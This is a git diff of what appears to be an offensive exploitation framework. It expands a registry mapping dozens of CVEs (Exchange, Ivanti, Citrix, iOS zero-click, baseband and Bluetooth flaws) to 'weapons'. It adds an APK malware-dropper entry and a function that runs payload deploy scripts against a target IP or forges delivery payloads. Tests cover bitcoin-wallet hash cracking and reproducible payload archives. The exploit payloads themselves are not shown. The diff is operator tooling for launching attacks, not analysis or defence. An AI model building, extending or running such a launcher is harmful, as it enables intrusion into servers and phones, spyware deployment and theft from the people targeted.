"weapon": "check_webkit_escape", "folder": "CVE-2021-30858-webkit-escape"}, + "CVE-2022-21894": {"name": "BootHole", "tier": "V3_CHECK", "weapon": "check_boothole", "folder": "CVE-2022-21894-boothole"}, # ---- V3_HIGH (remote probes) ---- - "CVE-2021-34473": {"name": "ProxyShell", "tier": "V3_HIGH", "weapon": "v3_proxyshell"}, - "CVE-2022-41040": {"name": "ProxyNotShell", "tier": "V3_HIGH", "weapon": "v3_proxynotshell"}, - "CVE-2021-35464": {"name": "ForgeRock AM", "tier": "V3_HIGH", "weapon": "v3_forgerock"}, - "CVE-2022-22965": {"name": "Spring4Shell", "tier": "V3_HIGH", "weapon": "v3_spring4shell"}, - "CVE-2022-27492": {"name": "WhatsApp libmultiple", "tier": "V3_HIGH", "weapon": "v3_whatsapp_libmultiple"}, - "CVE-2023-0669": {"name": "GoAnywhere", "tier": "V3_HIGH", "weapon": "v3_goanywhere"}, - "CVE-2023-27350": {"name": "PaperCut", "tier": "V3_HIGH", "weapon": "v3_papercut"}, - "CVE-2023-35078": {"name": "Ivanti EPMM", "tier": "V3_HIGH", "weapon": "v3_ivanti_epmm"}, - "CVE-2024-1709": {"name": "ScreenConnect", "tier": "V3_HIGH", "weapon": "v3_screenconnect"}, - "CVE-2024-47575": {"name": "FortiManager", "tier": "V3_HIGH", "weapon": "v3_fortimanager"}, - "CVE-2025-0282": {"name": "Ivanti Connect Secure", "tier": "V3_HIGH", "weapon": "v3_ivanti_connect"}, - "CVE-2025-31324": {"name": "SAP NetWeaver", "tier": "V3_HIGH", "weapon": "v3_sap_netweaver"}, - "CVE-2025-5777": {"name": "Citrix Bleed 2", "tier": "V3_HIGH", "weapon": "v3_citrixbleed2"}, - "CVE-2024-6387": {"name": "regreSSHion", "tier": "V3_HIGH", "weapon": "v3_regresshion"}, - "CVE-2026-0073": {"name": "adbd TLS bypass", "tier": "V3_HIGH", "weapon": "v3_adb_tls"}, + "CVE-2021-34473": {"name": "ProxyShell", "tier": "V3_HIGH", "weapon": "v3_proxyshell", "folder": "CVE-2021-34473-proxyshell", "needs_target": True}, + "CVE-2022-41040": {"name": "ProxyNotShell", "tier": "V3_HIGH", "weapon": "v3_proxynotshell", "folder": "CVE-2022-41040-proxynotshell", "needs_target": True}, + "CVE-2021-35464": {"name": "ForgeRock AM", "tier": "V3_HIGH", "weapon": "v3_forgerock", "folder": "CVE-2021-35464-forgerock", "needs_target": True}, + "CVE-2022-22965": {"name": "Spring4Shell", "tier": "V3_HIGH", "weapon": "v3_spring4shell", "folder": "CVE-2022-22965-spring4shell", "needs_target": True}, + "CVE-2022-27492": {"name": "WhatsApp libmultiple", "tier": "V3_HIGH", "weapon": "v3_whatsapp_libmultiple", "folder": "CVE-2022-27492-whatsapp-libmultiple"}, + "CVE-2023-0669": {"name": "GoAnywhere", "tier": "V3_HIGH", "weapon": "v3_goanywhere", "folder": "CVE-2023-0669-goanywhere", "needs_target": True}, + "CVE-2023-27350": {"name": "PaperCut", "tier": "V3_HIGH", "weapon": "v3_papercut", "folder": "CVE-2023-27350-papercut", "needs_target": True}, + "CVE-2023-35078": {"name": "Ivanti EPMM", "tier": "V3_HIGH", "weapon": "v3_ivanti_epmm", "folder": "CVE-2023-35078-ivanti-epmm", "needs_target": True}, + "CVE-2024-1709": {"name": "ScreenConnect", "tier": "V3_HIGH", "weapon": "v3_screenconnect", "folder": "CVE-2024-1709-screenconnect", "needs_target": True}, + "CVE-2024-47575": {"name": "FortiManager", "tier": "V3_HIGH", "weapon": "v3_fortimanager", "folder": "CVE-2024-47575-fortimanager", "needs_target": True}, + "CVE-2025-0282": {"name": "Ivanti Connect Secure", "tier": "V3_HIGH", "weapon": "v3_ivanti_connect", "folder": "CVE-2025-0282-ivanti-connect-secure", "needs_target": True}, + "CVE-2025-31324": {"name": "SAP NetWeaver", "tier": "V3_HIGH", "weapon": "v3_sap_netweaver", "folder": "CVE-2025-31324-sap-netweaver", "needs_target": True}, + "CVE-2025-5777": {"name": "Citrix Bleed 2", "tier": "V3_HIGH", "weapon": "v3_citrixbleed2", "folder": "CVE-2025-5777-citrix-bleed2", "needs_target": True}, + "CVE-2024-6387": {"name": "regreSSHion", "tier": "V3_HIGH", "weapon": "v3_regresshion", "folder": "CVE-2024-6387-regresssion", "needs_target": True}, + "CVE-2026-0073": {"name": "adbd TLS bypass", "tier": "V3_HIGH", "weapon": "v3_adb_tls", "folder": "CVE-2026-0073-adb-tls-bypass", "needs_target": True}, # ---- V3_CHECK (zero-click staging checks) ---- - "CVE-2021-30860": {"name": "FORCEDENTRY", "tier": "V3_CHECK", "weapon": "check_forcedentry"}, - "CVE-2023-41061": {"name": "BLASTPASS Wallet", "tier": "V3_CHECK", "weapon": "check_blastpass_wallet"}, - "CVE-2023-32409": {"name": "WebKit type confusion", "tier": "V3_CHECK", "weapon": "check_webkit_typeconf"}, - "CVE-2023-32435": {"name": "Triangulation WebKit", "tier": "V3_CHECK", "weapon": "check_triangulation_webkit"}, - "CVE-2023-32434": {"name": "Triangulation kernel", "tier": "V3_CHECK", "weapon": "check_triangulation_kernel"}, - "CVE-2023-42924": {"name": "WebKit ITW 2023", "tier": "V3_CHECK", "weapon": "check_webkit_itw_2023"}, - "CVE-2024-4438": {"name": "WebKit Intellexa", "tier": "V3_CHECK", "weapon": "check_webkit_intellexa"}, - "CVE-2025-24085": {"name": "WebKit ITW 2025", "tier": "V3_CHECK", "weapon": "check_webkit_itw_2025"}, - "CVE-2025-41300": {"name": "Pegasus WebKit", "tier": "V3_CHECK", "weapon": "check_pegasus_webkit"}, - "CVE-2024-23225": {"name": "iOS kernel", "tier": "V3_CHECK", "weapon": "check_ios_kernel"}, - "CVE-2022-44319": {"name": "Samsung baseband", "tier": "V3_CHECK", "weapon": "check_samsung_baseband"}, - "CVE-2023-24033": {"name": "Exynos baseband", "tier": "V3_CHECK", "weapon": "check_exynos_baseband"}, - "CVE-2017-13077": {"name": "KRACK", "tier": "V3_CHECK", "weapon": "check_krack"}, - "CVE-2020-0022": {"name": "BlueFrag", "tier": "V3_CHECK", "weapon": "check_bluefrag"}, - "CVE-2023-45866": {"name": "BT HID injection", "tier": "V3_CHECK", "weapon": "check_bt_hid"}, - "CVE-2023-23397": {"name": "Outlook NTLM leak", "tier": "V3_CHECK", "weapon": "check_outlook_ntlm"}, - "CVE-2023-36884": {"name": "Office HTML", "tier": "V3_CHECK", "weapon": "check_office_html"}, - "CVE-2025-32711": {"name": "EchoLeak", "tier": "V3_CHECK", "weapon": "check_echoleak"}, + "CVE-2021-30860": {"name": "FORCEDENTRY", "tier": "V3_CHECK", "weapon": "check_forcedentry", "folder": "CVE-2021-30860-forcedentry"}, + "CVE-2023-41061": {"name": "BLASTPASS Wallet", "tier": "V3_CHECK", "weapon": "check_blastpass_wallet", "folder": "CVE-2023-41061-blastpass-wallet"}, + "CVE-2023-32409": {"name": "WebKit type confusion", "tier": "V3_CHECK", "weapon": "check_webkit_typeconf", "folder": "CVE-2023-32409-webkit-type-confusion"}, + "CVE-2023-32435": {"name": "Triangulation WebKit", "tier": "V3_CHECK", "weapon": "check_triangulation_webkit", "folder": "CVE-2023-32435-triangulation-webkit"}, + "CVE-2023-32434": {"name": "Triangulation kernel", "tier": "V3_CHECK", "weapon": "check_triangulation_kernel", "folder": "CVE-2023-32434-triangulation-kernel"}, + "CVE-2023-42924": {"name": "WebKit ITW 2023", "tier": "V3_CHECK", "weapon": "check_webkit_itw_2023", "folder": "CVE-2023-42924-webkit-itw"}, + "CVE-2024-4438": {"name": "WebKit Intellexa", "tier": "V3_CHECK", "weapon": "check_webkit_intellexa", "folder": "CVE-2024-4438-webkit-intellexa"}, + "CVE-2025-24085": {"name": "WebKit ITW 2025", "tier": "V3_CHECK", "weapon": "check_webkit_itw_2025", "folder": "CVE-2025-24085-webkit-itw"}, + "CVE-2025-41300": {"name": "Pegasus WebKit", "tier": "V3_CHECK", "weapon": "check_pegasus_webkit", "folder": "CVE-2025-41300-pegasus-webkit"}, + "CVE-2024-23225": {"name": "iOS kernel", "tier": "V3_CHECK", "weapon": "check_ios_kernel", "folder": "CVE-2024-23225-ios-kernel"}, + "CVE-2022-44319": {"name": "Samsung baseband", "tier": "V3_CHECK", "weapon": "check_samsung_baseband", "folder": "CVE-2022-44319-samsung-baseband"}, + "CVE-2023-24033": {"name": "Exynos baseband", "tier": "V3_CHECK", "weapon": "check_exynos_baseband", "folder": "CVE-2023-24033-exynos-baseband"}, + "CVE-2017-13077": {"name": "KRACK", "tier": "V3_CHECK", "weapon": "check_krack", "folder": "CVE-2017-13077-krack"}, + "CVE-2020-0022": {"name": "BlueFrag", "tier": "V3_CHECK", "weapon": "check_bluefrag", "folder": "CVE-2020-0022-bluefrag"}, + "CVE-2023-45866": {"name": "BT HID injection", "tier": "V3_CHECK", "weapon": "check_bt_hid", "folder": "CVE-2023-45866-bt-hid-injection"}, + "CVE-2023-23397": {"name": "Outlook NTLM leak", "tier": "V3_CHECK", "weapon": "check_outlook_ntlm", "folder": "CVE-2023-23397-outlook-ntlm-leak"}, + "CVE-2023-36884": {"name": "Office HTML", "tier": "V3_CHECK", "weapon": "check_office_html", "folder": "CVE-2023-36884-office-html"}, + "CVE-2025-32711": {"name": "EchoLeak", "tier": "V3_CHECK", "weapon": "check_echoleak", "folder": "CVE-2025-32711-echoleak"}, + # ---- bluetooth tier (BlueBorne family + BlackBED BLE staging) ---- + "CVE-2017-0781": {"name": "BlueBorne BNEP", "tier": "V3_CHECK", "weapon": "check_blueborne_bnep"}, + "CVE-2017-0785": {"name": "BlueBorne SDP", "tier": "V3_CHECK", "weapon": "check_blueborne_sdp"}, + "CVE-2018-5383": {"name": "Bluetooth KNOB", "tier": "V3_CHECK", "weapon": "check_knob"}, + "BLACKBED-BLE": {"name": "BlackBED BLE", "tier": "V3_CHECK", "weapon": "check_blackbed"}, + # ---- malware-class operator tooling (APK wrapper dropper) ---- + "MALWARE-APK-WRAPPER-NECRO": {"name": "APK Wrapper (Necro-class)", "tier": "V3_CHECK", + "weapon": "check_malware_apk_wrapper", + "folder": "MALWARE-apk-wrapper-necro-class"}, } @@ -89,13 +105,67 @@ def resolve_weapon(name): import quantum.weapons.legacy as _l import quantum.weapons.media_v3 as _m import quantum.weapons.remote_v3 as _r - for mod in (_r, _k, _m, _l): + import quantum.weapons.bluetooth as _b + import quantum.weapons.malware as _mw + for mod in (_r, _k, _m, _l, _b, _mw): fn = getattr(mod, name, None) if callable(fn): return fn return None +def _fire_folder(cve, entry, ip, params): + """Run a payload-folder deploy.py. Default args: --target probe when the + entry needs a target, else forge the delivery payload to a temp file. + Operators override the full CLI via params={"args": [...]}. Never raises; + deploy.py's own JSON + exit-code contract is passed through.""" + import sys + import tempfile + params = params or {} + deploy = os.path.join(PAYLOADS_DIR, entry["folder"], "deploy.py") + if not os.path.isfile(deploy): + return {"cve": cve, "status": "error", "error": "deploy.py missing"} + args = [str(a) for a in (params.get("args") or [])] + if not args: + if entry.get("needs_target"): + args = ["--target", str(ip), "--timeout", str(params.get("timeout", 5))] + else: + outdir = os.path.join(tempfile.gettempdir(), "qcli") + try: + os.makedirs(outdir, exist_ok=True) + except OSError: + outdir = tempfile.gettempdir() + args = ["--out", os.path.join(outdir, cve.replace("/", "_") + ".bin")] + try: + proc = subprocess.run( + [sys.executable, deploy, *args], + capture_output=True, text=True, + timeout=float(params.get("proc_timeout", 90)), + cwd=os.path.dirname(deploy)) + except Exception as exc: + return {"cve": cve, "status": "error", "error": str(exc)} + try: + payload = json.loads(proc.stdout or "{}") + except Exception: + payload = None + status = "ok" if proc.returncode == 0 else "error" + if isinstance(payload, dict): + payload.setdefault("cve", cve) + payload.setdefault("status", status) + return payload + if payload is not None: + return {"cve": cve, "status": status, "result": payload} + raw = ((proc.stdout or "") + (proc.stderr or ""))[:2000] + out = {"cve": cve, "status": status} + if status == "error": + # Surface why the payload failed — the deploy.py stdout/stderr is + # the only diagnostic the operator gets. + out["error"] = (raw.strip() or f"deploy.py exited {proc.returncode}") + else: + out["raw"] = raw + return out + + class _Registry: """registry.fire(cve, ip, params) — every weapon string in ZERO_DAY_REGISTRY resolves to a callable; never raises.""" @@ -113,6 +183,8 @@ def fire(self, cve, ip, params=None): entry = ZERO_DAY_REGISTRY.get(cve) if not entry: raise KeyError(f"unknown CVE: {cve}") + if entry.get("folder"): + return _fire_folder(cve, entry, ip, params) fn = resolve_weapon(entry["weapon"]) if not callable(fn): return {"cve": cve, "status": "error", diff --git a/tests/test_bitcoin_wallet.py b/tests/test_bitcoin_wallet.py index b043e2f..acc0624 100644 --- a/tests/test_bitcoin_wallet.py +++ b/tests/test_bitcoin_wallet.py @@ -2,7 +2,7 @@ real subprocess calls, and the `bitcoin_wallet` hash format (mode 11300) now registered in `hashes.HASH_FORMATS`. No simulated hits. """ -import os, sys, tempfile +import os, sys sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname( os.path.abspath(__file__))), "src")) diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 9ca6d34..8d5ec6b 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -91,3 +91,25 @@ def test_zip_entries_pinned_epoch(stem): for info in z.infolist(): assert info.date_time == (1980, 1, 1, 0, 0, 0), \ f"{stem}:{info.filename} has wall-clock mtime {info.date_time}" + + +@pytest.mark.parametrize("stem", ZIP_MODULES) +def test_zip_bytes_are_platform_and_zlib_independent(stem): + """The built archive must be byte-identical everywhere. + + Two sources of drift are pinned here: + * ZipInfo.create_system defaults to 0 on Windows and 3 on Unix; + * DEFLATE output depends on the zlib build (classic zlib vs + zlib-ng disagree byte-for-byte on the same input). + So the archive is stored (no compressor) and the host field is pinned. + """ + import io, zipfile + data = _load(stem).build() + with zipfile.ZipFile(io.BytesIO(data)) as z: + for info in z.infolist(): + assert info.compress_type == zipfile.ZIP_STORED, \ + f"{stem}:{info.filename} is compressed — deflate output " \ + f"varies with the zlib build and drifts the manifest" + assert info.create_system == 0, \ + f"{stem}:{info.filename} host field is {info.create_system} — " \ + f"ZipInfo defaults to 0 on Windows and 3 on Unix"